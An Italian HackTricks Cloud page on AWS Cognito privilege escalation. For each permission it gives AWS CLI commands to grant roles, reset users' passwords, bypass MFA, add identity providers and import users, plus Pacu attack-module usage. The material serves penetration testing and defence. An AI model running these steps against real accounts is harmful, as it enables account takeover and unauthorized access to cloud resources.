AWS - Cognito Privesc
Reading time: 12 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Cognito
Per ulteriori informazioni su Cognito consulta:
Raccolta credenziali dall'Identity Pool
Poiché Cognito può fornire IAM role credentials sia agli authenticated sia agli unauthenticated users, se trovi l'Identity Pool ID di un'applicazione (di solito è hardcoded) puoi ottenere nuove credenziali e quindi privesc (in un AWS account in cui probabilmente non avevi alcuna credenziale precedentemente).
Per maggiori informazioni consulta questa pagina.
Impatto potenziale: Privesc diretto al ruolo di servizio assegnato agli unauth users (e probabilmente anche a quello assegnato agli auth users).
cognito-identity:SetIdentityPoolRoles, iam:PassRole
Con questo permesso puoi grant any cognito role agli utenti authenticated/unauthenticated dell'app Cognito.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Se l'app cognito non ha abilitato gli utenti non autenticati potresti aver bisogno anche del permesso cognito-identity:UpdateIdentityPool per abilitarli.
Impatto potenziale: Privesc diretto su qualsiasi cognito role.
cognito-identity:update-identity-pool
Un attacker con questo permesso potrebbe, per esempio, impostare un Cognito User Pool sotto il suo controllo o qualsiasi altro identity provider dove può effettuare il login come modo per accedere a questo Cognito Identity Pool. Successivamente, semplicemente effettuando il login su quel provider di utenti, potrà accedere al ruolo authenticated configurato nell'Identity Pool.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
È anche possibile abusare di questo permesso per consentire basic auth:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Impatto potenziale: Compromettere il ruolo IAM autenticato configurato all'interno dell'identity pool.
cognito-idp:AdminAddUserToGroup
Questa autorizzazione consente di add a Cognito user to a Cognito group, quindi un attaccante potrebbe abusare di questa autorizzazione per aggiungere un Cognito user sotto il suo controllo ad altri Cognito group con privilegi migliori o ruoli IAM differenti:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Impatto potenziale: Privesc to other Cognito groups and IAM roles attached to User Pool Groups.
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
Un attacker con questi permessi potrebbe creare/aggiornare gruppi con ogni IAM role che può essere usato da un Cognito Identity Provider compromesso e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
Potential Impact: Privesc verso altri ruoli IAM di Cognito.
cognito-idp:AdminConfirmSignUp
Questa autorizzazione permette di verificare una registrazione. Per impostazione predefinita chiunque può registrarsi nelle applicazioni Cognito; se ciò è permesso, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questa autorizzazione.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Impatto potenziale: Indirect privesc al ruolo IAM dell'identity pool per gli utenti autenticati se puoi registrare un nuovo utente. Indirect privesc ad altre funzionalità dell'app, permettendo di confermare qualsiasi account.
cognito-idp:AdminCreateUser
Questa autorizzazione permetterebbe a un attaccante di creare un nuovo utente all'interno del user pool. Il nuovo utente viene creato come enabled, ma dovrà cambiare la password.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Potenziale impatto: Privesc diretto al role IAM dell'identity pool per utenti autenticati. Privesc indiretto su altre funzionalità dell'app che permettono di creare qualsiasi utente
cognito-idp:AdminEnableUser
Questa permission può essere utile in uno scenario molto raro in cui un attacker ha trovato le credenziali di un utente disabilitato e ha bisogno di riattivarlo.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Impatto potenziale: privesc indiretto alla identity pool IAM role per utenti autenticati e ai permessi dell'utente se l'attaccante avesse le credenziali di un utente disabilitato.
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
Questa autorizzazione consente di effettuare il login con il method ADMIN_USER_PASSWORD_AUTH. Per maggiori informazioni segui il link.
cognito-idp:AdminSetUserPassword
Questa autorizzazione permetterebbe a un attaccante di cambiare la password di qualsiasi utente, consentendogli di impersonare qualsiasi utente (che non abbia MFA abilitata).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Impatto potenziale: Privesc diretta su potenzialmente qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato dell'Identity Pool.
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings: Un attacker potrebbe potenzialmente abusare di questa autorizzazione per impostare un numero di telefono mobile sotto il suo controllo come SMS MFA of a user.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: Simile a quello precedente, questa permission può essere usata per impostare le preferenze MFA di un utente per bypassare la protezione MFA.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: Simile al precedente, questo permesso può essere usato per impostare le preferenze MFA di un user pool per bypassare la protezione MFA.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: È anche possibile aggiornare lo user pool per cambiare la MFA policy. Check cli here.
Potential Impact: Privesc indiretto verso potenzialmente qualsiasi utente di cui l'attaccante conosca le credenziali; questo potrebbe permettere di bypassare la protezione MFA.
cognito-idp:AdminUpdateUserAttributes
Un attaccante con questo permesso potrebbe cambiare l'indirizzo email o il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere maggiori privilegi in un'applicazione sottostante.
Questo consente di modificare un'email o un numero di telefono e impostarlo come verificato.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Impatto potenziale: Potenziale privesc indiretto nell'applicazione sottostante che usa Cognito User Pool che assegna privilegi basati sugli attributi utente.
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
Un attacker con questa permission potrebbe creare un nuovo User Pool Client meno restrittivo rispetto ai client già esistenti. Per esempio, il nuovo client potrebbe permettere qualsiasi tipo di metodo per authenticate, non avere alcun secret, avere token revocation disabilitata, permettere che i tokens siano validi per un periodo più lungo...
La stessa cosa può verificarsi se, invece di creare un nuovo client, se ne modifica uno esistente.
Nella command line (o nello update one) puoi vedere tutte le opzioni, controllale!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Impatto potenziale: Potenziale privesc indiretto per l'utente autorizzato dell'Identity Pool utilizzato dallo User Pool, tramite la creazione di un nuovo client che allenta le misure di sicurezza e permette a un attacker di eseguire il login con un user che è riuscito a creare.
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
Un attacker potrebbe abusare di questa permission per creare utenti caricando un csv con nuovi utenti.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(Nel caso in cui crei un nuovo import job potresti anche aver bisogno del permesso iam passrole; non l'ho ancora testato).
Impatto potenziale: Privesc diretto al ruolo IAM dell'identity pool per utenti autenticati. Privesc indiretto verso altre funzionalità dell'app che consentono di creare qualsiasi utente.
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
Un attacker potrebbe creare un nuovo identity provider per poi poter eseguire il login tramite questo provider.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Potential Impact: Privesc diretto al ruolo IAM della identity pool per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app in grado di creare qualsiasi utente.
cognito-sync:* Analisi
Questo è un permesso molto comune di default nei ruoli di Cognito Identity Pools. Anche se un carattere jolly in un permesso sembra sempre pericoloso (soprattutto se proviene da AWS), le given permissions aren't super useful from an attackers perspective.
Questo permesso permette di leggere informazioni d'uso delle Identity Pools e degli Identity IDs all'interno delle Identity Pools (che non sono informazioni sensibili).
Gli Identity IDs potrebbero avere assegnati loro dei Datasets, che sono informazioni delle sessioni (AWS li definisce come una partita salvata). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella enumeration page come accedere a queste informazioni.
An attacker potrebbe anche usare questi permessi per enroll himself to a Cognito stream that publish changes su questi datases o per una lambda that triggers on cognito events. Non ho visto questo essere usato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.
Strumenti Automatici
- Pacu, il framework di exploitation per AWS, include ora i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumeration di tutti gli asset Cognito in un account e segnalano configurazioni deboli, attributi utente usati per il controllo d'accesso, ecc., e inoltre automatizzano la creazione di utenti (incluso il supporto MFA) e la privilege escalation basata su attributi custom modificabili, usable identity pool credentials, assumable roles in id tokens, ecc.
Per una descrizione delle funzioni dei moduli vedi la parte 2 del blog post. Per le istruzioni di installazione vedi la pagina principale di Pacu.
Uso
Esempio di utilizzo di cognito__attack per tentare la creazione di utenti e tutti i privesc vectors contro una data identity pool e user pool client:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Esempio di utilizzo di cognito__enum per raccogliere tutti i user pools, user pool clients, identity pools, users, ecc. visibili nell'account AWS corrente:
Pacu (new:test) > run cognito__enum
- Cognito Scanner è uno strumento CLI in python che implementa diversi attacchi su Cognito, tra cui un privesc escalation.
Installazione
$ pip install cognito-scanner
Uso
$ cognito-scanner --help
Per maggiori informazioni consulta https://github.com/padok-team/cognito-scanner
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud